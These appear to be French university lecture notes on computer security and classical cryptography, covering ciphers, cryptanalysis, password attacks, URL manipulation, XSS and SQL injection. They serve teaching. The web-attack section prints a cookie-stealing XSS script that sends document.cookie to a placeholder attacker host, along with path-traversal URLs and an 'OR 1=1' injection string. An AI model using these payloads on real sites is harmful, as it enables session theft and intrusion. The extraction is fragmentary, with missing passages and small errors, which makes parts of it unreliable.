Cours-Sécurité Info 2020
Cours-Sécurité Info 2020
Cours-Sécurité Info 2020
SECURITE INFORMATIQUE
SUPPORT DE COURS DESTINE AUX ETUDIANTS DE DEUXIEME
ANNEE DE LICENCE EN MATHEMATIQUE ET EN INFORMATIQUE
Par ce cours, nous voulons apporter une certaine contribution afin de rendre
la notion de la cryptographie plus accessible aux étudiants du département de
Mathématique-informatique et proposer une façon d’intégrer la notion de la
sécurité informatique dans notre système informatique.
Bon voyage donc au lecteur qui aborde les différents sujets développés dans ce
support et auquel je souhaite autant de plaisir que j’en ai éprouvé moi-même à la
lecture de la Sécurité informatique.
➢ L'intégrité, c'est-à-dire garantir que les données sont bien celles que l'on croit
être ;
➢ La confidentialité, consistant à assurer que seules les personnes autorisées
aient accès aux ressources échangées ;
➢ La disponibilité, permettant de maintenir le bon fonctionnement du système
d'information ;
➢ La non répudiation, permettant de garantir qu'une transaction ne peut être
niée ;
➢ L'authentification, consistant à assurer l'identité d'un utilisateur, c'est-à-dire
de garantir à chacun des correspondants que son partenaire est bien celui qu'il
croit être. Un contrôle d'accès peut permettre (par exemple par le moyen d'un
mot de passe qui devra être crypté) l'accès à des ressources uniquement aux
personnes autorisées.
La confidentialité
L'intégrité
Vérifier l'intégrité des données consiste à déterminer si les données n'ont pas été
altérées durant la communication (de manière fortuite ou intentionnelle).
La disponibilité
La non-répudiation
Cela signifie que la sécurité doit être abordée dans un contexte global et
notamment prendre en compte les aspects suivants :
C'est la raison pour laquelle il est nécessaire de définir dans un premier temps
une politique de sécurité, dont la mise en œuvre se fait selon les quatre étapes
suivantes :
• Identifier les besoins en terme de sécurité, les risques informatiques pesant sur
l'entreprise et leurs éventuelles conséquences ;
• Elaborer des règles et des procédures à mettre en oeuvre dans les différents
services de l'organisation pour les risques identifiés ;
• Surveiller et détecter les vulnérabilités du système d'information et se tenir
informé des failles sur les applications et matériels utilisés ;
• Définir les actions à entreprendre et les personnes à contacter en cas de
détection d'une menace ;
La politique de sécurité est donc l'ensemble des orientations suivies par une
organisation (à prendre au sens large) en termes de sécurité. A ce titre elle se doit
d'être élaborée au niveau de la direction de l'organisation concernée, car elle
concerne tous les utilisateurs du système.
La phase de mise en œuvre consiste à déployer des moyens et des dispositifs visant
à sécuriser le système d'information ainsi que de faire appliquer les règles définies
dans la politique de sécurité.
Un audit de sécurité (en anglais security audit) consiste à s'appuyer sur un tiers
de confiance (généralement une société spécialisée en sécurité informatique) afin
de valider les moyens de protection mis en œuvre, au regard de la politique de
sécurité.
Les tests d'intrusion (en anglais penetration tests, abrégés en pen tests) consiste
à éprouver les moyens de protection d'un système d'information en essayant de
s'introduire dans le système en situation réelle.
• La méthode dite « boîte noire » (en anglais « black box ») consistant à essayer
d'infiltrer le réseau sans aucune connaissance du système, afin de réaliser un
test en situation réelle ;
• La méthode dite « boîte blanche » (en anglais « white box ») consistant à tenter
de s'introduire dans le système en ayant connaissance de l'ensemble du système,
afin d'éprouver au maximum la sécurité du réseau.
Une telle démarche doit nécessairement être réalisée avec l'accord (par écrit
de préférence) du plus haut niveau de la hiérarchie de l'entreprise, dans la mesure
où elle peut aboutir à des dégâts éventuels et étant donné que les méthodes mises
en œuvre sont interdites par la loi en l'absence de l'autorisation du propriétaire du
système.
Un test d'intrusion, lorsqu'il met en évidence une faille, est un bon moyen de
sensibiliser les acteurs d'un projet. A contrario, il ne permet pas de garantir la
sécurité du système, dans la mesure où des vulnérabilités peuvent avoir échappé
aux testeurs. Les audits de sécurité permettent d'obtenir un bien meilleur niveau
de confiance dans la sécurité d'un système étant donné qu'ils prennent en compte
des aspects organisationnels et humains et que la sécurité est analysée de
l'intérieur.
Dans ce type de cas de figure la vitesse de réaction est primordiale car une
compromission implique une mise en danger de tout le système d'information de
l'entreprise. De plus, lorsque la compromission provoque un dysfonctionnement
du service, un arrêt de longue durée peut être synonyme de pertes financières.
Enfin, dans le cas par exemple d'un défaçage de site web (modification des pages),
la réputation de toute l'entreprise est en jeu.
La phase de réaction est généralement la phase la plus laissée pour compte dans
les projets de sécurité informatique. Elle consiste à anticiper les événements et à
prévoir les mesures à prendre en cas de pépin.
En effet, dans le cas d'une intrusion par exemple, il est possible que
l'administrateur du système réagisse selon un des scénarios suivants :
La mise en place d'un plan de reprise après sinistre permet ainsi d'éviter une
aggravation du sinistre et de s'assurer que toutes les mesures visant à établir des
éléments de preuve sont correctement appliquées.
1.10.2. Restauration
Dès que les hommes apprirent à communiquer, ils durent trouver des moyens
d’assurer la confidentialité d’une partie de leurs communications : l’origine de la
cryptographie remonte sans doute aux origines de l’homme.
Kc Kd
Figure 1.1. Cryptage de données par la clé K
a) Définition
Avec :
Le canal de communication
Oscar
x y x
Canal sûr
Générateur de clef
Il est évident que chaque fonction de chiffrement doit être injective (i.e. ne
pas chiffrer deux blocs différents en deux valeurs égales), sinon, le procédé de
déchiffrement ne pourrait être fait sans ambigüité. Plus précisément, si 𝑦 =
𝐶𝑘 (𝑋1) = 𝐶𝑘 (𝑋2).
Les buts d’un système cryptographique sont résumés par les mots clefs suivants :
• Authentification :
On peut regarder ces quatre qualités du point de vue de l’émetteur. Alice veut être
certaine
De plus elle veut être certaine que son message ne sera pas brouillé parles
imperfections du canal de transmission (cette exigence ne relève pas du cryptage
mais de la correction d’erreur).
▪ que personne d’autre que lui (et Alice bien sûr) n’a accès au contenu du
message, confidentialité.
2.1.2. Terminologie
Exemples :
(1) Je me couche à 21 h et je dors pendant 10 h. Quelle heure est-il alors ?
Proposition 1.
Proposition 2.
a) Il existe un et un seul entier 𝑟 dans { 0,1,2, . . . , 𝑛 − 1} tel que 𝑎 ≡
𝑟 (𝑚𝑜𝑑 𝑛) . Cet entier 𝑟 est le reste dans la division euclidienne de 𝑎 par 𝑛.
3. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑛 ⟹ 𝑎𝑐 = 𝑏𝑐 𝑚𝑜𝑑 𝑛
4. 𝑎 = 𝑏 𝑚𝑜𝑑 𝑚 ⇔ 𝑏 = 𝑎 𝑚𝑜𝑑 𝑚
𝐶𝑘 = 𝑥 + 𝑘 𝑚𝑜𝑑 26
𝐷𝑘 = 𝑦 − 𝑘 𝑚𝑜𝑑 26
On peut utiliser le chiffrement par décalage (avec le modulo 26) pour chiffrer
un texte ordinaire en décidant d’une correspondance entre les caractères
alphabétiques et les résidus modulo 26 comme ceci :
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 10 111 12 13 14 15 16 17 18 19 20 21 22 23 24 25
Exemple
Supposons que la clef du chiffrement par décalage soit k = 9 et que le texte clair
soit :
« wewillmeetatmidnight »
22 4 22 8 11 11 12 4 4 19 0 19 12 8 3 13 8 6 7 19
5 13 5 17 20 20 21 13 13 2 9 2 21 17 12 22 17 15 16 2
FNFRUUVNNCJCVRMWRPQC
𝑐𝜋 (𝑥) = 𝜋(𝑥)
Et 𝑑𝜋 (𝑦) = 𝜋 −1 (𝑦)
Exemple
Voici un exemple de permutation aléatoire 𝜋 qui peut être utilisé comme fonction
de chiffrement. On utilise ici encore la convention d’écriture le texte clair en
minuscule et le texte chiffré en majuscule.
a b c d e f g h i j k l m n o p q r s t u v w x y z
X N Y A H P O G Z Q W B T S F L R C V M U E K J D I
d l r y v o h e z x w p t b g f j q n m u s k a c i
𝑐𝑘 (𝑥) = 𝑎𝑥 + 𝑏 𝑚𝑜𝑑 26
Et (𝑥, 𝑦 𝜖 𝑍26 ) ∶
𝑐(𝑥) = 𝑎𝑥 + 𝑏 𝑚𝑜𝑑 26
Où 𝑎, 𝑏 𝜖𝑍26 . Ces fonctions sont appelées des fonctions affines, d’où le nom du
procédé. Pour l’opération de déchiffrement soit possible, il est nécessaire que la
fonction affine soit injective. Autrement dit, pour tout 𝑦 𝜖 𝑍𝑍26 , l’équation
𝑎𝑥 + 𝑏 = 𝑦 (𝑚𝑜𝑑 26)
𝑎𝑥 ≡ 𝑦 − 𝑏 (𝑚𝑜𝑑 26).
Par conséquent, 𝑥 ≡ 𝑎−1 (𝑦 − 𝑏) (𝑚𝑜𝑑 26). ceci donne une formule explicite
pour déchiffrer :
𝑐𝑘 (𝑥) = 5𝑥 + 3 𝑚𝑜𝑑 26
Où toutes les opérations sont faites dans 𝑍26 . On vérifie tout d’abord 𝑑𝑘 (𝑐𝑘 (𝑥)) =
𝑥 𝑝𝑜𝑢𝑟 𝑡𝑜𝑢𝑡 𝑥 𝜖 𝑍26 :
= 21 (5𝑥 + 3) – 11
= 105𝑥 + 63 − 11
= 105𝑥 + 52
=𝑥+0 = 𝑥
Pour illustrer cet exemple, chiffrons le mot Ruffin. On convertit tout d’abord
les lettres r, u, f, f, i, n en résidus modulo 26 à l’aide d’une table.
On obtient respectivement
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
𝑐𝑘 (𝑥) = 5𝑥 + 3 𝑚𝑜𝑑 26
Donc, les caractères 10, 25, 2, 2, 17, 16 forment le texte chiffré « KZCCRQ ».
21 × (10) − 11 𝑚𝑜𝑑 26 = 17
21 × (25) − 11 𝑚𝑜𝑑 26 = 20
21 × (2) − 11 𝑚𝑜𝑑 26 = 5
21 × (2) − 11 𝑚𝑜𝑑 26 = 5
21 × (17) − 11 𝑚𝑜𝑑 26 = 8
21 × (16) − 11 𝑚𝑜𝑑 26 = 13
𝑐𝑘 (𝑥1 , 𝑥2 , … , 𝑥𝑚 ) = ( 𝑥1 + 𝑘1 , 𝑥2 + 𝑘2 , … , 𝑥𝑚 + 𝑘𝑚 )
Et d
𝑑𝑘 (𝑦1 , 𝑦2 , … . , 𝑦𝑚 ) = ( 𝑦1 − 𝑘1 , 𝑦2 − 𝑘2 , … . , 𝑦𝑚 − 𝑘𝑚 )
Exemple
𝑦1 = 𝑥1 + 4𝑥2
𝑦2 = 𝑥1 + 5𝑥2
Remarque.
La formule de 𝑀−1 ci-dessus n’est pas utilisée en pratique, sauf pour les petites
valeurs de 𝑚 (𝑠𝑜𝑖𝑡 𝑚 = 2 𝑜𝑢 3). Pour des entiers 𝑚 plus grands. Il est plus
efficace d’utiliser d’autres méthodes pour calculer l’inverse. Dans le cas des
𝑎2,2 − 𝑎1,2
𝑀−1 = (det 𝑀)−1 ( )
−𝑎2,1 𝑎1,1
On a :
1 1
𝑑𝑒𝑡 ( ) = 1 × 5 − 4 × 1(𝑚𝑜𝑑 26)
4 5
= 5 − 4(𝑚𝑜𝑑 26)
= 1 (𝑚𝑜𝑑 26)
1 1 −1 5 25
( ) =( )
4 5 22 1
1 1 5 25 5 × 1 + 1 × 22 1 × 25 + 1 × 1
( )( )=( )
4 5 22 1 4 × 5 + 5 × 22 4 × 25 + 5 × 1
27 26
=( )
130 105
1 0
=( )
0 1
En rappelant que les opérations sont effectuées modulo 26.
Exemple
Soit la clef 𝑀 = ( 41 1
5
)
Et
Où 𝜋 −1 es la permutation inverse de 𝜋.
Dans les cryptosystèmes précédents, les éléments de texte clair sont chiffrés
de la même manière à partir de la clef 𝐾. En fait, la chaîne du texte chiffré y es
obtenue ainsi :
𝑦 = 𝑦1 𝑦2 … = 𝑐𝑘 (𝑥1 )𝑐𝑘 (𝑥2 ) …
Définition
Et
𝑑𝑧 (𝑦) = 𝑦 + 𝑧 𝑚𝑜𝑑 2
𝑐𝑧 (𝑥) = 𝑥 + 𝑧 𝑚𝑜𝑑 26
Et
𝑑𝑧 (𝑦) = 𝑦 − 𝑧 𝑚𝑜𝑑 26
(𝑥, 𝑦 𝜖 𝑍26 ).
Exemple
2 7 8 5 5 17 4 12 4 13 19
8 2 7 8 5 5 17 4 12 4 13
10 9 15 13 10 22 21 16 16 17 6
‘’KJPNKWVQQRG’’
10 9 15 13 10 22 21 16 16 17 6
Ainsi de suite. Chaque fois que l’on obtient un caractère du texte clair, on
obtient en même temps le terme suivant de la séquence de clef.
Ce système n’est bien évidemment pas sûr car il n’y a que 26 clefs possibles,
ce qui est trop peu.
En 1883 dans un article paru dans le Journal des sciences militaires, Auguste
Kerckhoff (1835-1903) posa les principes de la cryptographie moderne. Ce
principe a été très exactement respecté pour le choix du dernier standard de
chiffrement, l’algorithme symétrique AES, par le NIST. Ce dernier a été choisi à
la suite d’un appel d’offre international et tous les détails de conception sont
publics. Il exprime que la méthode de chiffrement utilisée doit « pouvoir tomber
sans inconvénient aux mains de l’ennemi ». Autrement dit, la sécurité d’un
chiffrement doit reposer uniquement sur la protection de la clef (Kerckhoff, 1883).
Un attaquant est donc une personne qui tente de décrypter des messages, c’est à
dire de retrouver des textes clairs à de texte chiffrés sans connaître la clef.
On doit distinguer entre les types d’attaques d’un adversaire et les buts des
attaques d’un adversaire.
Les principaux types d’attaques :
a) Attaque à texte chiffré connu : l’opposant ne connait que le message
chiffré.
b) Attaque à texte clair connu : l’opposant dispose d’un texte clair 𝑥 et du
message chiffré correspondant 𝑦.
En plus de ces attaques basées sur une étude de messages codés, il y a aussi
des attaques physiques. Le principe de ces attaques est d’essayer de reconstituer
la clef secrète par exemple en espionnant la transmission entre le clavier de
l’ordinateur et l’unité centrale ou en mesurant la consommation électrique du
microprocesseur qui effectue le décodage du message ou encore en mesurant son
échauffement. Ensuite on essaye de remonter de ces données physiques aux clefs
de codage et décodage.
Le but de l’attaque d’un adversaire peut être soit de découvrir la clef du
chiffrement et de pouvoir ainsi décrypter tous les messages de l’émetteur ou plus
modestement de décrypter un message particulier sans nécessairement disposer
de la clef du code.
Lettre Fréquence
A 2
B 1
C 0
D 6
E 5
F 4
G 0
H 5
I 0
J 0
K 5
L 2
M 2
N 1
O 1
P 3
Q 0
R 8
S 3
T 0
U 2
V 4
W 0
X 2
Y 1
Z 0
Exemple
YQBH RQVB IBPB UYZG YQVT EHEB OVTU ZYYQ BOBT DKYZ GEBO
TZUH KBGG ZOYT CMDY HKTZ YQBG ODVY ZGYQ BRZK KHMZ
OHYV ZUNV YQHU WRZU YOVM DYVZ UZGZ YQBO EBZE KB
Les caractères les plus fréquents sont : Y (16 occurrences), Z (15 occurrences), B
(14 occurrences), O (8 occurrences), Q (8 occurrences), V (8 occurrence), G (7
occurrences), H (7 occurrences), U (7 occurrences), K (6 occurrences), T (6
occurrences), E (5 occurrences) et D (4 occurrences). On peut tout d’abord
supposer que Y correspond à « e » et que Z correspond à « t» car « e » et « a »
sont des lettres les plus courantes de l’alphabet français. Numériquement, cette
hypothèse se traduit par 𝑒𝑘 (4) = 24 𝑒𝑡 𝑒𝑘 (19) = 25. en rappelant que 𝑒𝑘 = 𝑎𝑥 +
𝑏 𝑜ù 𝑎 𝑒𝑡 𝑏 sont inconnus, on obtient deux équations.
4𝑎 + 𝑏 = 24 𝑚𝑜𝑑 26 (1)
Faisons (2) – (1), ceci implique que 15𝑎 = 1 𝑚𝑜𝑑 26 , alors trouvons la valeur
de 𝑎
15𝒂 = 1 𝑚𝑜𝑑 26
Trouvons maintenant une valeur qui peut être multipliée par 15 et son reste nous
donne 1 dans 𝕫26 . Cette valeur peut être trouvée par un tableau de multiplication.
Clé répétée A B C A B C A B C A B C A B C A B C A B C A B C A B C A B
Texte clair L E T E S T Q U I E S T I M E L A T A I L L E D E C L E F
Texte L F V E T V Q V K E T V I N G L B V A J N L F F E D N E G
chiffré
• soit la même séquence de lettres du texte clair a été chiffrée avec la même
partie de la clef.
• soit deux suites de lettres différentes dans le texte clair auraient (possibilité
faible) par pure coïncidence engendré la même suite dans le texte chiffré.
Avec de texte assez long on peut employer aussi deux techniques : le test de
Kasiski, et l’utilisation de l’indice de coïncidence.
Le test de Kasiski fut décrit initialement par Friedrich Kasiski en 1863. Cette
technique consiste à chercher des séquences de lettres qui apparaissent plus d’une
fois dans le texte. On cherche des paires de segments identiques de longueur au
moins trois dans le texte chiffré et l’on note la distance entre leurs premiers
caractères. Si l’on obtient plusieurs distances 𝑑1 , 𝑑2 , …. on peut conjecturer que 𝑚
divise le plus grand diviseur commun des 𝑑𝑖 . Une vérification a posteriori de la
valeur 𝑚 peut se faire par indice de coïncidence. Cette notion a été définie par
Wolfe Friedman en 1920. Noté 𝐼𝑐 (𝑥) celui-ci est défini comme la probabilité que
deux lettres choisies aléatoirement dans un texte soient identiques. Soient n le
nombre de lettres dans le texte, 𝑛0 = 𝑛𝑜𝑚𝑏𝑟𝑒 𝑑𝑒 𝐴, … , 𝑛25 = 𝑛𝑜𝑚𝑏𝑟𝑒 𝑑𝑒 𝑍.
pour chaque 𝑖, 0 ≤ 𝑖 ≤ 25, il y a(𝑓2𝑖) façons de choisir deux caractères 𝑖 . donc, on
a la formule
∑25
𝑖=0 𝑓𝑖 (𝑓𝑖 − 1)
𝐼𝑐 (𝑥) =
𝑛(𝑛 − 1)
Si 𝑥 𝑒𝑡 𝑥′ sont deux messages écrits dans la même langue, la 𝑀𝐼𝑐 est proches
de valeurs données par la table … cela est encore vrai si on applique à 𝑥 𝑒𝑡 𝑥′ un
chiffrement par décalage ou substitution utilisant la même clef.
Par contre, si on utilise deux clefs de décalages distincts, la 𝑀𝐼𝑐 prend alors
des valeurs plus basses de 0,031 à 0,045.
Le chiffre de César peut être cassé très facilement, même à l'aide du seul
texte chiffré. On peut distinguer deux cas :
Dans le premier cas, il est possible de casser le chiffre de César à l'aide des
mêmes techniques que dans le cas général d'un chiffrement par substitution, à
savoir l'analyse fréquentielle ou la recherche de mots probables. Lors de la
résolution, le cryptanalyste ne sera pas sans remarquer une certaine régularité dans
les décalages, et en déduira que l'algorithme employé est le chiffre de César.
• Les clés symétriques: il s'agit de clés utilisées pour le chiffrement ainsi que
pour le déchiffrement. On parle alors de chiffrement symétrique ou de
chiffrement à clé secrète.
Toutefois, dans les années 40, Claude Shannon démontra que pour être
totalement sûr, les systèmes à clefs privées doivent utiliser des clefs d'une
longueur au moins égale à celle du message à chiffrer. De plus le chiffrement
symétrique impose d'avoir un canal sécurisé pour l'échange de la clé, ce qui
dégrade sérieusement l'intérêt d'un tel système de chiffrement.
Ainsi, dans les années 20, Gilbert Vernam et Joseph Mauborgne mirent au
point la méthode du One Time Pad (traduisez méthode du masque jetable, parfois
appelé « One Time Password » et noté OTP), basée sur une clé privée, générée
aléatoirement, utilisée une et une seule fois, puis détruite. À la même époque, le
Kremlin et la Maison Blanche étaient reliés par le fameux téléphone rouge, c'est-
à-dire un téléphone dont les communications étaient cryptées grâce à une clé
privée selon la méthode du masque jetable. La clé privée était alors échangée
grâce à la valise diplomatique (jouant le rôle de canal sécurisé).
Dans ce qui suit est présenté un algorithme simple, appuyé par un exemple chiffré
pour montrer comment, on peut générer les clés publique et privée, et comment
s’effectue le chiffrement et le déchiffrement.
Comme nous pouvons le constater à travers cet exemple, les nombres cruciaux
associés à l’algorithme sont les nombres premiers P et Q, qui doivent toujours
rester secrets. L’astuce consiste à choisir un nombre premier qui soit
suffisamment grand, si bien qu’il soit impossible de le factoriser en un temps
réaliste.
Les attaques peuvent intervenir à chaque maillon de cette chaîne, pour peu
qu'il existe une vulnérabilité exploitable. Le schéma ci-dessous rappelle très
Lors d'une attaque, le pirate garde toujours à l'esprit le risque de se faire repérer,
c'est la raison pour laquelle les pirates privilégient habituellement les attaques
par rebond(par opposition aux attaques directes), consistant à attaquer une
machine par l'intermédiaire d'une autre machine, afin de masquer les traces
Le terme « hacker » est souvent utilisé pour désigner un pirate informatique. Les
victimes de piratage sur des réseaux informatiques aiment à penser qu'ils ont été
attaqués par des pirates chevronnés ayant soigneusement étudié leur système et
ayant développé des outils spécifiquement pour en exploiter les failles.
C'est au cours des années 80 que ce mot a été utilisé pour catégoriser les
personnes impliquées dans le piratage de jeux vidéos, en désamorçant les
protections de ces derniers, puis en en revendant des copies.
Aujourd'hui ce mot est souvent utilisé à tort pour désigner les personnes
s'introduisant dans les systèmes informatiques
• Les « white hat hackers », hackers au sens noble du terme, dont le but est
d'aider à l'amélioration des systèmes et technologies informatiques, sont
généralement à l'origine des principaux protocoles et outils informatiques que
nous utilisons aujourd'hui; Le courrier électronique est un des meilleurs
exemples ;
Dans la réalité ce type de distinction n'est bien évidemment pas aussi nette,
dans la mesure où certains (white hat) hackers ont parfois été black hat
hackers auparavant et parfois inversement. Les habitués des listes de diffusion et
des forums voient souvent des sujets à propos de la différence qu'il convient de
faire entre pirate et hacker. Le terme de troll est généralement utilisé pour
désigner les sujets délicats déclenchant un engouement dans les réponses.
Les motivations des black hat hackers (« pirates ») peuvent être multiples :
• l'attrait de l'interdit ;
• l'intérêt financier ;
• l'intérêt politique ;
• l'intérêt éthique ;
• le désir de la renommée ;
• la vengeance ;
• l'envie de nuire (détruire des données, empêcher un système de fonctionner).
Les objectifs des white hat hackers (« hackers ») sont en règle générale un des
suivants :
• l'apprentissage ;
• l'optimisation des systèmes informatiques ;
• la mise à l'épreuve des technologies jusqu'à leurs limites afin de tendre vers
un idéal plus performant et plus sûr.
5.6. Culture du « Z »
• E=3
• A=4
• B=8
• O=O
• N=/\/
• I=|
Voici ce que cela donne sur des mots courants :
• Abeille = 4B3|ll3
• Tomate = T0m4t3
Sur la plupart des systèmes les mots de passe sont stockés de manière chiffrée
(« cryptée ») dans un fichier ou une base de données.
On appelle ainsi « attaque par force brute » (en anglais « brute force cracking »,
parfois également attaque exhaustive) le cassage d'un mot de passe en testant tous
les mots de passe possibles. Il existe un grand nombre d'outils, pour chaque
système d'exploitation, permettant de réaliser ce genre d'opération. Ces outils
servent aux administrateurs système à éprouver la solidité des mots de passe de
leurs utilisateurs mais leur usage est détourné par les pirates informatiques pour
s'introduire dans les systèmes informatiques.
Les outils d'attaque par force brute peuvent demander des heures, voire des jours,
de calcul même avec des machines équipées de processeurs puissants. Ainsi, une
Il existe enfin des moyens permettant au pirate d'obtenir les mots de passe
des utilisateurs :
• Les key loggers (littéralement « enregistreurs de touches »), sont des logiciels
qui, lorsqu'ils sont installés sur le poste de l'utilisateur, permettent
d'enregistrer les frappes de claviers saisies par l'utilisateur. Les systèmes
d'exploitation récents possèdent des mémoires tampon protégées permettant
de retenir temporairement le mot de passe et accessibles uniquement par le
système.
• L'ingénierie sociale consiste à exploiter la naïveté des individus pour obtenir
des informations. Un pirate peut ainsi obtenir le mot de passe d'un individu en
se faisant passer pour un administrateur du réseau ou bien à l'inverse appeler
l'équipe de support en demandant de réinitialiser le mot de passe en prétextant
un caractère d'urgence ;
• L'espionnage représente la plus vieille des méthodes. Il suffit en effet
parfois à un pirate d'observer les papiers autour de l'écran de l'utilisateur ou
sous le clavier afin d'obtenir le mot de passe. Par ailleurs, si le pirate fait
partie de l'entourage de la victime, un simple coup d'oeil par dessus son
épaule lors de la saisie du mot de passe peut lui permettre de le voir ou de le
deviner.
Il est aisément compréhensible que plus un mot de passe est long, plus il est
difficile à casser. D'autre part, un mot de passe constitué uniquement de chiffres
sera beaucoup plus simple à casser qu'un mot de passe contenant des lettres :
• votre identifiant
• votre nom
• votre prénom ou celui d'un proche (conjoint, enfant, etc.) ;
• un mot du dictionnaire ;
• un mot à l'envers (les outils de cassage de mots de passe prennent en
compte cette possibilité) ;
• un mot suivi d'un chiffre, de l'année en cours ou d'une année de
naissance (par exemple « password1999 »).
Les attaques par « rejeu » (en anglais « replay attaque ») sont des attaques de
type « Man in the middle » consistant à intercepter des paquets de données et à
les rejouer, c'est-à-dire les retransmettre tels quel (sans aucun déchiffrement) au
serveur destinataire.
Dans la mesure où les serveurs web sont de plus en plus sécurisés, les
attaques se sont progressivement décalées vers l'exploitation des failles des
applications web.
Ainsi, la sécurité des services web doit être un élément pris en compte dès
leur conception et leur développement.
Le protocole HTTP est par nature prévu pour gérer des requêtes, c'est-à-dire
recevoir des données en entrée et envoyer des données en retour. Les données
peuvent être envoyées de diverses façons :
Ainsi, la quasi-totalité des vulnérabilités des services web est liée aux
négligences des concepteurs, ne faisant pas de vérifications sur le format des
données saisies par les utilisateurs.
Les attaques à l'encontre des applications web sont toujours nuisibles car elles
donnent une mauvaise image de l'entreprise. Les conséquences d'une attaque
réussie peuvent notamment être une des suivantes :
• Cookies ;
• Champs de formulaires ;
• URL ;
• En-têtes HTTP.
http://www.commentcamarche.net/forum/?cat=1&page=2
En manipulant certaines parties d'une URL, un pirate peut amener un serveur web
à délivrer des pages web auxquelles il n'est pas censé avoir accès.
En effet, sur les sites web dynamiques les paramètres sont la plupart passés
au travers de l'URL de la manière suivante :
http://cible/forum/?cat=2
Les données présentes dans l'URL sont créées automatiquement par le site et
lors d'une navigation normale un utilisateur ne fait que cliquer sur les liens
proposés par le site web. Ainsi, si un utilisateur modifie manuellement le
paramètre, il peut essayer différentes valeurs, par exemple :
http://cible/forum/?cat=6
Par ailleurs, le pirate peut amener le site à traiter un cas inattendu, par
exemple :
http://cible/forum/?cat=***********
Dans le cas ci-dessus, si le concepteur du site n'a pas prévu le cas où la
donnée n'est pas un chiffre, le site peut entrer dans un état non prévu et révéler
des informations dans un message d'erreur.
Sur les serveurs vulnérables, il suffit de remonter le chemin avec plusieurs chaînes
du type « ../ » :
http://cible/../../../../repertoire/fichier
http://cible/cgi-bin/script.cgi?url=index.htm
Pour peu qu'aucun contrôle ne soit réalisé, il est possible pour un pirate de
modifier l'URL manuellement afin de demander l'accès à une ressource du site
auquel il n'a pas accès directement, par exemple :
http://cible/cgi-bin/script.cgi?url=script.cgi
5.13.4. Parades
Afin de sécuriser un serveur web contre les attaques par manipulation d'URL, il
est nécessaire d'effectuer une veille sur les vulnérabilités et d'appliquer
régulièrement les correctifs fournis par l'éditeur du serveur web.
Les attaques de type Cross-Site Scripting (notée parfois XSS ou CSS) sont des
attaques visant les sites web affichant dynamiquement du contenu utilisateur sans
effectuer de contrôle et d'encodage des informations saisies par les utilisateurs.
Les attaques Cross-Site Scripting consistent ainsi à forcer un site web à afficher
du code HTML ou des scripts saisis par les utilisateurs. Le code ainsi inclus (le
terme « injecté » est habituellement utilisé) dans un site web vulnérable est dit
« malicieux ».
Il est courant que les sites affichent des messages d'information reprenant
directement un paramètre entré par l'utilisateur. L'exemple le plus classique est
celui des « pages d'erreur 404 ». Certains sites web modifient le comportement du
site web, afin d'afficher un message d'erreur personnalisée lorsque la page
demandée par le visiteur n'existe pas. Parfois la page générée dynamiquement
affiche le nom de la page demandée. Appelons http://site.vulnerable un site
possédant une telle faille. L'appel de l'URL http://site.vulnerable/page-
inexistante correspondant à une page n'existant pas provoquera l'affichage d'un
message d'erreur indiquant que la page « page-inexistante » n'existe pas. Il est
ainsi possible de faire afficher ce que l'on souhaite au site web en remplaçant
« page-inexistante » par toute autre chaîne de caractère.
Ainsi, si aucun contrôle n'est effectué sur le contenu fourni par l'utilisateur,
il est possible d'afficher du code HTML arbitraire sur une page web, afin d'en
changer l'aspect, le contenu ou bien le comportement.
Il est ainsi possible à un pirate d'injecter du code arbitraire dans la page web,
afin que celui-ci soit exécuté sur le poste de l'utilisateur dans le contexte de
5.14.1. Conséquences
Par ailleurs, le script injecté peut permettre de rediriger l'utilisateur vers une
page sous le contrôle du pirate, possédant éventuellement la même interface
graphique que le site compromis afin de tromper l'usager.
Lorsque les données saisies par l'utilisateur sont stockées sur le serveur pendant
un certain temps (cas d'un forum de discussion par exemple), l'attaque est dite
« persistante ». En effet, tous les utilisateurs du site web accès à la page dans
laquelle le code nuisible a été introduit.
http://www.commentcamarche.net/?nom=Jeff
Une personne malintentionnée peut réaliser une attaque Cross-Site Scripting non
persistance en fournissant à une victime une adresse remplaçant le nom « Jeff »
par du code HTML. Il peut notamment passer en paramètre le code Javascript
suivant, servant à rediriger l'utilisateur vers une page dont il a la maîtrise :
<SCRIPT>
document.location='http://site.pirate/cgi-
bin/script.cgi?'+document.cookie
</SCRIPT>
http://www.commentcamarche.net/?nom=<SCRIPT>document.
location
='http://site.pirate/cgi-
bin/script.cgi?'+document.cookie</SCRIPT>
http://www.commentcamarche.net/?nom=%3c%53%43%52%49%5
0%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70
%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73
%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e
5.15.1. Description
5.15.2. Protection
Les attaques par injection de commandes SQL sont des attaques visant les sites
web s'appuyant sur des bases de données relationnelles.
Dans ce type de sites, des paramètres sont passés à la base de données sous forme
d'une requête SQL. Ainsi, si le concepteur n'effectue aucun contrôle sur les
paramètres passés dans la requête SQL, il est possible à un pirate de modifier la
requête afin d'accéder à l'ensemble de la base de données, voire à en modifier le
contenu.
Il suffit à un pirate de saisir un nom tel que « toto" OR 1=1 OR nom ="titi » pour
que la requête devienne la suivante :
Ainsi, avec la requête ci-dessus, la clause WHERE est toujours réalisée, ce qui
signifie qu'il retournera les enregistrements correspondant à tous les utilisateurs.
De plus, certains systèmes de gestion de bases de données tel que Microsoft SQL
Server possèdent des procédures stockées permettant de lancer des commandes
d'administration. Ces procédures stockées sont potentiellement dangereuses dans
la mesure où elles peuvent permettre à un utilisateur malintentionné d'exécuter
des commandes du système, pouvant conduire à une éventuelle intrusion.
5.16.2. Parades
Le terme d'« ingénierie sociale » (en anglais « social engineering ») désigne l'art
de manipuler des personnes afin de contourner des dispositifs de sécurité. Il s'agit
ainsi d'une technique consistant à obtenir des informations de la part des
utilisateurs par téléphone, courrier électronique, courrier traditionnel ou contact
direct.
• Par téléphone,
• Par courrier électronique,
• Par courrier écrit,
• Par messagerie instantanée,
• etc.
5.17.2. Le scam
•Soit les échanges avec l'escroc se font virtuellement auquel cas celui-ci
